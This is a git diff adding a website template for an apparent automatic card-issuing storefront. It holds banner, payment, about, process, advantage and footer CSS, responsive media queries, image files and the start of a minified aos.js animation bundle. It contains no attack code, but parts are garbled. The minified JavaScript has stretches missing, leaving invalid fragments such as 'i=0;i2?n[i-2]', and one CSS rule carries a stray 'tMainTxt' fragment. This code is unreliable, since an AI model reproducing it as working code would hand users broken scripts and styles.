no-repeat left top; + background-size: 100%; +} +/*头部banner样式*/ +.index_header .banner{ + margin-top: 100px; + //font-family: simhei; + position: relative; + width: 100%; + height: 426px; +} +.index_header .banner .banner_left{ + width: 600px; +} +.index_header .banner .banner_right{ + width: 600px; + height: 426px; + -webkit-animation: myfirst 1.8s linear 0s infinite alternate; + animation: myfirst 1.8s linear 0s infinite alternate; + position: absolute; + right: 0; + bottom: 0; +} +@keyframes myfirst { + from { + bottom: 20px + } + to { + bottom: 10px + } +} + +@-webkit-keyframes myfirst { + from { + bottom: 20px + } + to { + bottom: 40px + } +} +.index_header .banner .banner_right img{ + width: 100%; + height: 100%; +} +.index_header .banner .text1 { + font-size: 56px; + color: #fff; + font-weight: 400; + letter-spacing: 3px; + height: 80px; + width: 400px; + margin-bottom: 20px; +} +.index_header .banner .text1_line{ + width: 120px; + height: 3px; + background: #fff; + margin-bottom: 20px; +} +.index_header .banner .banner_p{ + font-size: 22px; + color: #fff; + line-height: 44px; +} +.index_header .banner .banner_btnContact{ + display: block; + width: 210px; + height: 56px; + border: 1px solid #fff; + border-radius: 40px; + text-align: center; + line-height: 54px; + font-size: 18px; + color: #fff; + font-weight: bold; + margin-top: 80px; + background: #3c7cdf; + overflow: hidden; + z-index: 100; +} +.index_header .banner .banner_btnContact{ + position: relative; + z-index: 100; +} +/*支付方式-样式*/ +.payment_box{ + width: 866px; + height: 416px; + background: url(../images/payment_bg.png) no-repeat; + background-size: 100% 100%; + margin-top: -210px; + margin-left: -44px; + padding: 46px; + position: relative; +} +.payment_box .payment_ul{ + overflow: hidden; + width: 100%; + height: 100%; + position: absolute; + top: 94px; + left: 104px; +} +.payment_box .payment_ul li{ + width: 24%; + height: 74px; + margin-left: 1%; + margin-right: 2%; + position: relative; +} +.payment_box .payment_ul li a{ + display: block; + width: 100%; + height: 74px; +} +.payment_box .payment_ul li a .img1{ + position: absolute; + top: 0; + left: 0; +} +.payment_box .payment_ul li a .img2{ + position: absolute; + bottom: 0; + left: 0; +} +.payment_box .payment_ul li a .img3{ + position: absolute; + top: 50%; + transform: translateY(-50%); + left: 0; +} +.payment_box .payment_ul .payment_item1 a img{ + width: 137px; + height: 49px; +} +.payment_box .payment_ul .payment_item2 a img{ + width: 168px; + height: 51px; +} +.payment_box .payment_ul .payment_item3 a img{ + width: 168px; + height: 49px; +} +.payment_box .payment_ul .payment_item4 a img{ + width: 168px; + height: 59px; + margin-left: -9px; +} +.payment_box .payment_ul .payment_item5 a img{ + width: 125px; + height: 38px; + margin-left: 24px; +} +.payment_box .payment_ul .payment_item6 a img{ + width: 135px; + height: 38px; + margin-left: 22px; +} +.payment_box .payment_ul .payment_item7 a img{ + width: 136px; + height: 54px; +} +.payment_box .payment_ul .payment_item8 a{ + width: 100%; + font-size: 16px; + color: #A0A0A0; + font-family: "苹方黑体-准-简"; + line-height: 74px; + text-align: center; + padding-top: 14px; +} +/*共同样式*/ +.title_common{ + font-size: 30px; + color: #444444; +} +.centerRe{ + position: relative; + width: 1200px; + height: 464px; +} +.leftImg_common1{ + position: absolute; + left: 0; + width: 100%; + height: 360px; +} +.leftImg_common2{ + width: 64%; + height: 360px; +} +.rightImg_common1{ + position: absolute; + right: 0; +} +.rightImg_common2{ + width: 72%; + height: 360px; +} +/*丫发卡简介-样式*/ +.about{ + width: 100%; + position: relative; +} +.about .about_main{ + width: 655px; + padding: 0 30px; +} +.about .about_main .about_title{ + display: block; + width: 100%; + text-align: right; + line-height: 78px; + padding-top: 40px; +} +.about .about_main .about_line{ + display: block; + width: 62px; + height: 4px; + background: #4e7dff; +} +.about .about_main .about_txt{ + width: 100%; + padding-top: 30px; +} +.about .about_main .about_txt p{ + font-size: 16px; + color: #666666; + line-height: 30px; +} +.about .about_main .about_more{ + display: block; + width: 57px; + font-size: 14px; + color: #444444; + background: url(../images/more_arrow.png) no-repeat right center/21px 15px; + margin-top: 24px; + cursor: pointer; +} +.about .about_right{ + position: absolute; + right: 0; + top: 0; + width: 790px; + height: 510px; +} +.about .about_right .about_rightMain{ + width: 790px; + height: 510px; + position: relative; +} +.about .about_right .about_rightMain .about_rightImg1{ + position: absolute; + top: 0; + left: 0; + width: 348px; + height: 504px; + z-index: 2; +} +.about .about_right .about_rightMain .about_rightCenter{ + width: 370px; +} +.about .about_right .about_rightMain .about_rightCenter .rightCenter_com{ + position: absolute; + z-index: 9; + height: 70px; +} +.about .about_right .about_rightMain .about_rightCenter .rightCenter_1{ + top: 116px; + left: 240px; + width: 259px; +} +.about .about_right .about_rightMain .about_rightCenter .rightCenter_2{ + top: 192px; + left: 240px; + width: 247px; +} +.about .about_right .about_rightMain .about_rightCenter .rightCenter_3{ + top: 275px; + left: 203px; + width: 370px; +} +.about .about_right .about_rightMain .about_rightCenter .rightCenter_4{ + top: 356px; + left: 203px; + width: 317px; +} +.about .about_right .about_rightMain .about_rightImg2{ + position: absolute; + right: 0; + bottom: 0; + width: 632px; + height: 394px; + z-index: 1; +} +/*自动发卡-流程-样式*/ +.process{ + width: 100%; + width: 1296px; + height: 576px; + margin: 0 auto; + position: relative; + background: url(../images/process_bg.png); + margin-top: 100px; +} +.process .process_main{ + position: absolute; + top: 48px; + left: 48px; + width: 1200px; + height: 480px; +} +.process .process_main .process_title{ + display: block; + width: 100%; + text-align: center; + padding-top: 70px; +} +.process .process_main .process_line{ + display: block; + width: 60px; + height: 3px; + margin: 16px auto; + background: #4e7dff; +} +.process .process_main .process_h4{ + display: block; + font-size: 14px; + color: #999999; + text-align: center; +} +.process .process_main .process_ul{ + width: 100%; + padding: 0 30px; + overflow: hidden; + padding-top: 52px; +} +.process .process_main .process_ul li{ + width: 190px; + text-align: center; +} +.process .process_main .process_ul li img{ + transition: all 1s; +} +.process .process_main .process_ul li:hover img{ + transform: rotateY(180deg); +} +.process .process_main .process_ul li .process_txt1{ + display: block; + width: 100%; + text-align: center; + font-size: 16px; + color: #4E7DFF; + padding-top: 30px; + padding-bottom: 16px; +} +.process .process_main .process_ul li .process_txt2{ + display: block; + width: 100%; + text-align: center; + font-size: 14px; + color: #666666; +} +/*品牌优势-样式*/ +.advantage{ + width: 100%; + margin-top: 60px; +} +.advantage .advantage_topBox{ + width: 100%; + height: 464px; + margin-top: 60px; + position: relative; +} +.advantage .advantage_topBox .advantage_topL{ + top: 0; + background: url(../images/advantage_topl.png) no-repeat; + background-size: 100%; + z-index: 9; +} +.advantage .advantage_topBox .advantage_topR{ + bottom: 0; + background: url(../images/advantage_topr.png) no-repeat; + background-size: 100%; + z-index: 20; +} +.advantage .advantage_topMain{ + width: 250px; + height: 100px; + position: absolute; + bottom: 32%; + right: 0; + z-index: 30; +} +.advantage .advantage_topMain .advantage_common{ + display: block; + width: 100%; + color: #FFFFFF; + text-align: right; +} +.advantage .advantage_topMain .advantage_title{ + font-size: 30px; +} +.advantage .advantage_topMain .advantage_line{ + display: block; + width: 50px; + height: 3px; + background: #dcdcdc; + margin-left: 200px; + margin-top: 16px; + margin-bottom: 16px; +} +.advantage .advantage_topMain .advantage_txt{ + font-size: 14px; +} +.advantage .advantage_botMain{ + width: 100%; + overflow: hidden; +} +.advantage .advantage_botMain li{ + width: 240px; +} +.advantage .advantage_botMain .li_margin{ + margin-left: 40px; + margin-right: 40px; +} +.advantage .advantage_botMain li img{ + width: 240px; + height: 240px; + text-align: center; +} +.advantage .advantage_botMain li:hover img{ + transition: all 1s; + /*transform: translateX(180deg);*/ + transform: rotateY(180deg); +} +.advantage .advantage_botMain li .advantage_botTxt{ + display: block; + width: 100%; + text-align: center; + font-size: 20px; + color: #444444; + padding-top: 20px; + padding-bottom: 16px; +} +.advantage .advantage_botMain li .advantage_botP{ + width: 100%; + text-align: center; + font-size: 14px; + color: #909090; + line-height: 24px; +} +/*联系我们-样式*/ +.contact_box .contact_bot{ + width: 100%; + height: 464px; + margin-bottom: 80px; + position: relative; +} +.contact_box .contact_bot .contact_botL{ + bottom: 0; + background: url(../images/contact_botl.png) no-repeat; + background-size: 100%; + z-index: 30; +} +.contact_box .contact_bot .contact_botR{ + top: 0; + background: url(../images/contact_botr.png) no-repeat; + background-size: 100%; + z-index: 20; +} +.contact_box .contact_bot .contact_botMain{ + width: 440px; + height: 170px; + position: absolute; + left: 0; + bottom: 20%; + z-index: 50; +} +.contact_box .contact_bot .contact_botMain .contact_botMainTxt{ + width: 100%; + font-size: 40px; + color: #FFFFFF; +} +.contact_box .contact_bot .contact_botMain .contact_botMainBtn{ + width: 238px; + height: 68px; + background: #32ef6f; + border-radius: 8px; + font-size: 24px; + color: #FFFFFF; + line-height: 68px; + text-align: center; + cursor: pointer; + margin-top: 50px; +} +/*底部样式*/ +footer{ + width: 1200px; + margin: 0 auto; +} +footer .footer_top{ + width: 1200px; + overflow: hidden; +} +footer .footer_top .footer_topLeft li{ + width: 116px; + margin-right: 60px; +} +footer .footer_top .footer_topLeft li .footer_topLeftTit{ + font-size: 18px; + color: #666666; + line-height: 50px; + padding-left: 38px; +} +footer .footer_top .footer_topLeft li .footer_icon1{ + background: url(../images/footer_icon1.png) no-repeat left center/26px 26px; +} +footer .footer_top .footer_topLeft li .footer_icon2{ + background: url(../images/footer_icon2.png) no-repeat left center/26px 26px; +} +footer .footer_top .footer_topLeft li .footer_icon3{ + background: url(../images/footer_icon3.png) no-repeat left center/26px 26px; +} +footer .footer_top .footer_topLeft li .footer_icon4{ + background: url(../images/footer_icon4.png) no-repeat left center/26px 26px; +} +footer .footer_top .footer_topLeft li .footer_topLeftCon{ + width: 100%; +} +footer .footer_top .footer_topLeft li .footer_topLeftCon a{ + display: block; + width: 100%; + font-size: 12px; + color: #666666; + line-height: 30px; + padding-left: 40px; +} +footer .footer_top .footer_topRight{ + overflow: hidden; +} +footer .footer_top .footer_topRight .footer_qrCode{ + margin-top: 10px; + margin-right: 50px; +} +footer .footer_top .footer_topRight .footer_qrCode img{ + display: block; + width: 98px; + height: 98px; +} +footer .footer_top .footer_topRight .footer_qrCode .rqCode_botTxt{ + display: block; + font-size: 12px; + color: #666666; + line-height: 26px; +} +footer .footer_top .footer_topRight .footer_detail{ + width: 218px; +} +footer .footer_top .footer_topRight .footer_detail .footer_pCom{ + font-size: 12px; + color: #666666; + padding-left: 30px; + line-height: 36px; +} +footer .footer_top .footer_topRight .footer_detail .footer_tell{ + width: 100%; + font-size: 30px; + color: #666666; +} +footer .footer_top .footer_topRight .footer_detail .footer_tellTime{ + line-height: 28px; + padding-left: 0; + padding-bottom: 5px; +} +footer .footer_top .footer_topRight .footer_detail .footer_email{ + background: url(../images/footer_email.png) no-repeat left center/22px 22px; +} +footer .footer_top .footer_topRight .footer_detail .footer_qq{ + background: url(../images/footer_qq.png) no-repeat left center/22px 22px; +} +footer .footer_bottom{ + width: 1200px; + margin: 0 auto; + padding: 56px 0 40px 0; + font-size: 12px; + color: #666666; + text-align: center; +} + + diff --git a/template/index10/assets/css/media.css b/template/index10/assets/css/media.css new file mode 100644 index 0000000..c7aa152 --- /dev/null +++ b/template/index10/assets/css/media.css @@ -0,0 +1,381 @@ +@charset "utf-8"; +@media only screen and (max-width: 1920px){ + .index_header .banner{ + margin-top: 100px; + } + .index_header .banner .banner_btnContact{ + margin-top: 80px; + } + .payment_box{ + margin-top: -210px; + } + .advantage .advantage_topMain { + bottom: 32%; + right: 2%; + } + .contact_box .contact_bot .contact_botMain { + left: 0; + bottom: 20%; + } +} +@media only screen and (max-width: 1860px){ + .payment_box{ + margin-top: -226px; + } +} +@media only screen and (max-width: 1800px){ + .index_header .banner{ + margin-top: 71px; + } + .payment_box{ + margin-top: -246px; + } + .advantage .advantage_topMain { + bottom: 34%; + right: 4%; + } + .contact_box .contact_bot .contact_botMain { + left: 5%; + bottom: 24%; + } +} +@media only screen and (max-width: 1750px){ + .payment_box{ + margin-top: -288px; + } +} +@media only screen and (max-width: 1700px){ + .index_header .banner{ + margin-top: 75px; + } + .index_header .banner .banner_btnContact{ + margin-top: 64px; + } + .payment_box{ + margin-top: -310px; + } + .advantage .advantage_topMain { + bottom: 36%; + right: 7%; + } + .contact_box .contact_bot .contact_botMain { + left: 7%; + bottom: 23%; + } + .about .about_right { + width: 711px; + height: 459px; + } + .about .about_right .about_rightMain { + width: 711px; + height: 459px; + } + .about .about_right .about_rightMain .about_rightImg1 { + width: 313px; + height: 453px; + } + .about .about_right .about_rightMain .about_rightImg2 { + width: 569px; + height: 355px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_1 { + top: 104px; + left: 220px; + width: 233px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_2 { + top: 175px; + left: 220px; + width: 222px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_3 { + top: 247px; + left: 181px; + width: 333px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_4 { + top: 322px; + left: 181px; + width: 285px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_com { + height: 63px; + } +} +@media only screen and (max-width: 1650px){ + .payment_box{ + margin-top: -315px; + } +} +@media only screen and (max-width: 1600px){ + .index_header .banner{ + margin-top: 57px; + } + .index_header .banner .banner_btnContact{ + margin-top: 25px; + } + .payment_box{ + margin-top: -350px; + } + .advantage .advantage_topMain { + bottom: 38%; + right: 9%; + } + .contact_box .contact_bot .contact_botMain { + left: 9%; + bottom: 22%; + } + .contact_box .contact_bot .contact_botMain .contact_botMainBtn{ + margin-top: 35px; + } +} +@media only screen and (max-width: 1500px){ + .index_header .banner{ + margin-top: 47px; + } + .index_header .banner .banner_btnContact{ + margin-top: 15px; + } + .payment_box{ + margin-top: -370px; + } + .advantage .advantage_topMain { + bottom: 38%; + right: 12%; + } + .contact_box .contact_bot .contact_botMain { + left: 10%; + bottom: 22%; + } + .contact_box .contact_bot .contact_botMain .contact_botMainBtn{ + margin-top: 25px; + } + .about .about_right { + width: 632px; + height: 408px; + } + .about .about_right .about_rightMain { + width: 632px; + height: 408px; + } + .about .about_right .about_rightMain .about_rightImg1 { + width: 278px; + height: 403px; + } + .about .about_right .about_rightMain .about_rightImg2 { + width: 506px; + height: 315px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_1 { + top: 93px; + left: 194px; + width: 207px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_2 { + top: 154px; + left: 194px; + width: 198px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_3 { + top: 219px; + left: 155px; + width: 296px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_4 { + top: 283px; + left: 155px; + width: 254px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_com { + height: 56px; + } + .about .about_right { + top: 43px; + } +} +@media only screen and (max-width: 1400px){ + .index_header .banner{ + margin-top: 20px; + } + .payment_box{ + margin-top: -410px; + } + .index_header .banner .banner_btnContact{ + margin-top: 13px; + } + .advantage .advantage_topMain { + bottom: 40%; + right: 14%; + } + .contact_box .contact_bot .contact_botMain { + left: 14%; + bottom: 26%; + } + .contact_box .contact_bot .contact_botMain .contact_botMainBtn{ + margin-top: 20px; + } + .about .about_right { + width: 553px; + height: 357px; + } + .about .about_right .about_rightMain { + width: 553px; + height: 357px; + } + .about .about_right .about_rightMain .about_rightImg1 { + width: 244px; + height: 353px; + } + .about .about_right .about_rightMain .about_rightImg2 { + width: 442px; + height: 276px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_1 { + top: 82px; + left: 172px; + width: 181px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_2 { + top: 135px; + left: 172px; + width: 173px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_3 { + top: 192px; + left: 141px; + width: 259px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_4 { + top: 250px; + left: 141px; + width: 222px; + } + .about .about_right .about_rightMain .about_rightCenter .rightCenter_com { + height: 49px; + } + .about .about_right { + top: 43px; + } + .navBox{ padding: 18px 25px 15px 25px;} + .index_header .banner .text1{font-size: 45px; height: 54px;} + .index_header .banner .banner_p{font-size: 19px;} + .index_header .banner .banner_btnContact{font-size: 17px;line-height: 46px; height: 46px; width: 189px;} + .index_header .banner .banner_left{padding-left: 20px; box-sizing: border-box;} +} +@media only screen and (max-width: 1300px){ + .index_header .banner{ + margin-top: 15px; + } + .index_header .banner .banner_btnContact{ + margin-top: 28px; + } + .payment_box{ + margin-top: -430px; + } + .advantage .advantage_topMain { + bottom: 41%; + right: 16%; + } + .contact_box .contact_bot .contact_botMain { + left: 17%; + bottom: 28%; + } + .contact_box .contact_bot .contact_botMain .contact_botMainBtn{ + margin-top: 15px; + } + .contact_comBox .contactUs_index{height: 466px;} + .navBox{ padding: 18px 25px 15px 25px;} + .index_header .banner .banner_left{margin: 30px 0;} + .process{width: 96%; overflow: hidden; background-image: none; background: #fff; box-shadow: 0px 0px 29px rgba(0,0,0,0.1); margin: 30px auto; border-radius: 20px; height: 470px;}tMainTxt{font-size: 25px;} + .process .process_main .process_ul li{width: 16%; } + .process .process_main{width: 100%; left: 0; } +} +@media only screen and (max-width: 1200px){ + + .navBox{ padding: 18px 25px 15px 25px;width: 1200px;} + .index_header .banner .text1{font-size: 45px; height: 54px;} + .index_header .banner .banner_p{font-size: 19px;} + .index_header .banner .banner_btnContact{font-size: 17px;line-height: 46px; height: 46px; width: 189px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;} + .index_header .banner .banner_left{padding-left: 20px; box-sizing: border-box;} + .about{width: 1200px;} + + .contact_box .contact_bot .contact_botMain .contact_botMainBtn{ width: 208px; height: 53px; line-height: 53px;} + .contact_box .contact_bot{ margin-bottom: 0;} + + .index_header .banner .banner_right{width: 420px; height: 330px; bottom: 104px;} + + + .center{width: 96%; margin: 0 auto;} + .protocol_content{position: inherit; margin-top: 20px;} + + .downLoad_con .center .downLoad_main{width: 100%; display: flex;} + .downLoad_con .center .downLoad_main .downLoad_mainLeft{width: 522px;} + .downLoad_con .center .downLoad_main .downLoad_mainRight{margin-right: 24px; margin-top: 10px;} + + .header_common{width: 100%; min-width: 100%;} + .box_common{width: 100%; box-sizing: border-box;} + .contact_comBox .contactUs .contactUs_main{display: flex;} + .helpCon_content .helpCon_conMain .helpCon_right{ float: left; width:100%;} + .advantage_conBox{box-sizing: border-box; display: flex; padding: 70px 40px;} + .advantage .advantage_botMain{display: flex;} + + @keyframes myfirst { + from { + bottom: 90px + } + to { + bottom: 70px + } +} + +@-webkit-keyframes myfirst { + from { + bottom: 90px + } + to { + bottom: 70px + } +} + + +} + +@media only screen and (max-width: 1100px){ + .process{width: 96%; overflow: hidden; background-image: none; background: #fff; box-shadow: 0px 0px 29px rgba(0,0,0,0.1); margin: 30px auto; border-radius: 20px; height: 470px;} + .center{width: 96%;} + .process .process_main{width: 100%; left: 0; height: 380px;} + .process .process_main .process_title{padding-top: 30px;} + .process .process_main .process_ul li{width: 16%; } + .index_header .banner .banner_right{width: 400px; height: 300px; bottom: 104px;} + .contact_comBox .contactUs .contactUs_main li{width: 28%;} + .advantage .advantage_botMain li{width: 20%;} + .advantage .advantage_topMain{ bottom: 52%;} + .advantage .advantage_botMain{width: 990px;} + footer .footer_top .footer_topLeft li{margin-right:28px} + footer{width: 960px;} + footer .footer_top{width: 100%;} + footer .footer_bottom{width: 100%;} + @keyframes myfirst { + from { + bottom: 120px + } + to { + bottom: 100px + } +} + +@-webkit-keyframes myfirst { + from { + bottom: 120px + } + to { + bottom: 100px + } +} + .advantage_conBox{box-sizing: border-box; display: flex; padding: 70px 40px;} + .advantage_conBox .conBox_txtConR{ padding-right: 0px;} + .advantage_conBox .conBox_photo .conBox_photoMargin{ margin-left: 86px;} + .banner{min-width: 1000px;} + .contact_box .contact_bot .contact_botMain .contact_botMainTxt{font-size: 25px;} +} + diff --git a/template/index10/assets/images/address.png b/template/index10/assets/images/address.png new file mode 100644 index 0000000..414cfbe Binary files /dev/null and b/template/index10/assets/images/address.png differ diff --git a/template/index10/assets/images/address1.png b/template/index10/assets/images/address1.png new file mode 100644 index 0000000..b04a4a3 Binary files /dev/null and b/template/index10/assets/images/address1.png differ diff --git a/template/index10/assets/images/advantage_topl.png b/template/index10/assets/images/advantage_topl.png new file mode 100644 index 0000000..08bb2e9 Binary files /dev/null and b/template/index10/assets/images/advantage_topl.png differ diff --git a/template/index10/assets/images/advantage_topr.png b/template/index10/assets/images/advantage_topr.png new file mode 100644 index 0000000..0308d68 Binary files /dev/null and b/template/index10/assets/images/advantage_topr.png differ diff --git a/template/index10/assets/images/banner.png b/template/index10/assets/images/banner.png new file mode 100644 index 0000000..fa7e0aa Binary files /dev/null and b/template/index10/assets/images/banner.png differ diff --git a/template/index10/assets/images/contact_botl.png b/template/index10/assets/images/contact_botl.png new file mode 100644 index 0000000..16a6065 Binary files /dev/null and b/template/index10/assets/images/contact_botl.png differ diff --git a/template/index10/assets/images/contact_botr.png b/template/index10/assets/images/contact_botr.png new file mode 100644 index 0000000..7774dc3 Binary files /dev/null and b/template/index10/assets/images/contact_botr.png differ diff --git a/template/index10/assets/images/contactus_bg.png b/template/index10/assets/images/contactus_bg.png new file mode 100644 index 0000000..da4770a Binary files /dev/null and b/template/index10/assets/images/contactus_bg.png differ diff --git a/template/index10/assets/images/email.png b/template/index10/assets/images/email.png new file mode 100644 index 0000000..0f32271 Binary files /dev/null and b/template/index10/assets/images/email.png differ diff --git a/template/index10/assets/images/email1.png b/template/index10/assets/images/email1.png new file mode 100644 index 0000000..79f8547 Binary files /dev/null and b/template/index10/assets/images/email1.png differ diff --git a/template/index10/assets/images/footer_email.png b/template/index10/assets/images/footer_email.png new file mode 100644 index 0000000..8a679c2 Binary files /dev/null and b/template/index10/assets/images/footer_email.png differ diff --git a/template/index10/assets/images/footer_icon1.png b/template/index10/assets/images/footer_icon1.png new file mode 100644 index 0000000..e0c0ea3 Binary files /dev/null and b/template/index10/assets/images/footer_icon1.png differ diff --git a/template/index10/assets/images/footer_icon2.png b/template/index10/assets/images/footer_icon2.png new file mode 100644 index 0000000..6d6a646 Binary files /dev/null and b/template/index10/assets/images/footer_icon2.png differ diff --git a/template/index10/assets/images/footer_icon3.png b/template/index10/assets/images/footer_icon3.png new file mode 100644 index 0000000..d5d3db5 Binary files /dev/null and b/template/index10/assets/images/footer_icon3.png differ diff --git a/template/index10/assets/images/footer_icon4.png b/template/index10/assets/images/footer_icon4.png new file mode 100644 index 0000000..519c1d0 Binary files /dev/null and b/template/index10/assets/images/footer_icon4.png differ diff --git a/template/index10/assets/images/footer_qq.png b/template/index10/assets/images/footer_qq.png new file mode 100644 index 0000000..ed36501 Binary files /dev/null and b/template/index10/assets/images/footer_qq.png differ diff --git a/template/index10/assets/images/header_combg.png b/template/index10/assets/images/header_combg.png new file mode 100644 index 0000000..e17793f Binary files /dev/null and b/template/index10/assets/images/header_combg.png differ diff --git a/template/index10/assets/images/map_bg.png b/template/index10/assets/images/map_bg.png new file mode 100644 index 0000000..d086e34 Binary files /dev/null and b/template/index10/assets/images/map_bg.png differ diff --git a/template/index10/assets/images/more_arrow.png b/template/index10/assets/images/more_arrow.png new file mode 100644 index 0000000..73f2596 Binary files /dev/null and b/template/index10/assets/images/more_arrow.png differ diff --git a/template/index10/assets/images/payment_bg.png b/template/index10/assets/images/payment_bg.png new file mode 100644 index 0000000..b88c376 Binary files /dev/null and b/template/index10/assets/images/payment_bg.png differ diff --git a/template/index10/assets/images/process_bg.png b/template/index10/assets/images/process_bg.png new file mode 100644 index 0000000..c62e3ec Binary files /dev/null and b/template/index10/assets/images/process_bg.png differ diff --git a/template/index10/assets/images/qq.png b/template/index10/assets/images/qq.png new file mode 100644 index 0000000..69a1a63 Binary files /dev/null and b/template/index10/assets/images/qq.png differ diff --git a/template/index10/assets/images/qq2.png b/template/index10/assets/images/qq2.png new file mode 100644 index 0000000..fb0ea3f Binary files /dev/null and b/template/index10/assets/images/qq2.png differ diff --git a/template/index10/assets/images/right_tell1.png b/template/index10/assets/images/right_tell1.png new file mode 100644 index 0000000..6218553 Binary files /dev/null and b/template/index10/assets/images/right_tell1.png differ diff --git a/template/index10/assets/images/right_tell2.png b/template/index10/assets/images/right_tell2.png new file mode 100644 index 0000000..e975edc Binary files /dev/null and b/template/index10/assets/images/right_tell2.png differ diff --git a/template/index10/assets/images/scrolltop.png b/template/index10/assets/images/scrolltop.png new file mode 100644 index 0000000..f87f19f Binary files /dev/null and b/template/index10/assets/images/scrolltop.png differ diff --git a/template/index10/assets/images/scrolltop2.png b/template/index10/assets/images/scrolltop2.png new file mode 100644 index 0000000..0740a56 Binary files /dev/null and b/template/index10/assets/images/scrolltop2.png differ diff --git a/template/index10/assets/images/tell.png b/template/index10/assets/images/tell.png new file mode 100644 index 0000000..f414109 Binary files /dev/null and b/template/index10/assets/images/tell.png differ diff --git a/template/index10/assets/images/tell1.png b/template/index10/assets/images/tell1.png new file mode 100644 index 0000000..1c9ec04 Binary files /dev/null and b/template/index10/assets/images/tell1.png differ diff --git a/template/index10/assets/js/aos.js b/template/index10/assets/js/aos.js new file mode 100644 index 0000000..abb0e99 --- /dev/null +++ b/template/index10/assets/js/aos.js @@ -0,0 +1,2 @@ +!function t(e,n,o){function r(i,c){if(!n[i]){if(!e[i]){var s="function"==typeof require&&require;if(!c&&s)return s(i,!0);if(a)return a(i,!0);var u=new Error("Cannot find module '"+i+"'");throw u.code="MODULE_NOT_FOUND",u}var l=n[i]={exports:{}};e[i][0].call(l.exports,function(t){var n=e[i][1][t];return r(n?n:t)},l,l.exports,t,e,n,o)}return n[i].exports}for(var a="function"==typeof require&&require,i=0;i2?n[i-2]:void 0,s=i>2?n[2]:void 0,u=i>1?n[i-1]:void 0;for("function"==typeof c?(c=o(c,u,5),i-=2):(c="function"==typeof u?u:void 0,i-=c?1:0),s&&r(n[0],n[1],s)&&(c=3>i?void 0:c,i=1);++a-1&&t%1==0&&e>t}function a(t,e,n){if(!c(n))return!1;var a=typeof e;if("number"==a?o(n)&&r(e,n.length):"string"==a&&e in n){var i=n[e];return t===t?t===i:i!==i}return!1}function i(t){return"number"==typeof t&&t>-1&&t%1==0&&u>=t}function c(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}var s=/^\d+$/,u=9007199254740991,l=n("length");e.exports=a},{}],7:[function(t,e){function n(t,e,n){for(var o=-1,r=a(e),i=r.length;++o=t||t>e?c(g,d):v=setTimeout(u,t)}function l(){c(k,v)}function f(){if(p=arguments,b=s(),h=this,g=k&&(v||!x),w===!1)var n=x&&!v;else{d||x||(y=b);var o=w-(b-y),r=0>=o||o>w;r?(d&&(d=clearTimeout(d)),y=b,m=t.apply(h,p)):d||(d=setTimeout(l,o))}return r&&v?v=clearTimeout(v):v||e===w||(v=setTimeout(u,e)),n&&(r=!0,m=t.apply(h,p)),!r||v||d||(p=h=void 0),m}var p,d,m,b,h,v,g,y=0,w=!1,k=!0;if("function"!=typeof t)throw new TypeError(a);if(e=0>e?0:+e||0,n===!0){var x=!0;k=!1}else o(n)&&(x=!!n.leading,w="maxWait"in n&&i(+n.maxWait||0,e),k="trailing"in n?!!n.trailing:k);return f.cancel=r,f}function o(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}var r=t("lodash._getnative"),a="Expected a function",i=Math.max,c=r(Date,"now"),s=c||function(){return(new Date).getTime()};e.exports=n},{"lodash._getnative":5}],9:[function(t,e){(function(t){function n(t){return function(e){return null==e?void 0:e[t]}}function o(t){return a(t)&&b.call(t,"callee")&&(!v.call(t,"callee")||h.call(t)==f)}function r(t){return null!=t&&!("function"==typeof t&&i(t))&&c(g(t))}function a(t){return u(t)&&r(t)}function i(t){var e=s(t)?h.call(t):"";return e==p||e==d}function c(t){return"number"==typeof t&&t>-1&&t%1==0&&l>=t}function s(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}function u(t){return!!t&&"object"==typeof t}var l=9007199254740991,f="[object Arguments]",p="[object Function]",d="[object GeneratorFunction]",m=t.Object.prototype,b=m.hasOwnProperty,h=m.toString,v=m.propertyIsEnumerable,g=n("length");e.exports=o}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],10:[function(t,e){function n(t){return!!t&&"object"==typeof t}function o(t,e){var n=null==t?void 0:t[e];return c(n)?n:void 0}function r(t){return"number"==typeof t&&t>-1&&t%1==0&&v>=t}function a(t){return i(t)&&m.call(t)==u}function i(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}function c(t){return null==t?!1:a(t)?b.test(p.call(t)):n(t)&&l.test(t)}var s="[object Array]",u="[object Function]",l=/^\[object .+?Constructor\]$/,f=Object.prototype,p=Function.prototype.toString,d=f.hasOwnProperty,m=f.toString,b=RegExp("^"+p.call(d).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),h=o(Array,"isArray"),v=9007199254740991,g=h||function(t){return n(t)&&r(t.length)&&m.call(t)==s};e.exports=g},{}],11:[function(t,e){function n(t){return function(e){return null==e?void 0:e[t]}}function o(t){return null!=t&&a(v(t))}function r(t,e){return t="number"==typeof t||p.test(t)?+t:-1,e=null==e?h:e,t>-1&&t%1==0&&e>t}function a(t){return"number"==typeof t&&t>-1&&t%1==0&&h>=t}function i(t){for(var e=s(t),n=e.length,o=n&&t.length,i=!!o&&a(o)&&(f(t)||l(t)),c=-1,u=[];++c0;++ot.position?t.node.classList.add("aos-animate"):"undefined"!=typeof o&&("false"===o||!n&&"true"!==o)&&t.node.classList.remove("aos-animate")},o=function(t,e){var o=window.pageYOffset,r=window.innerHeight;[].forEach.call(t,function(t){n(t,r+o,e)})};e.exports=o},{}],19:[function(t,e){var 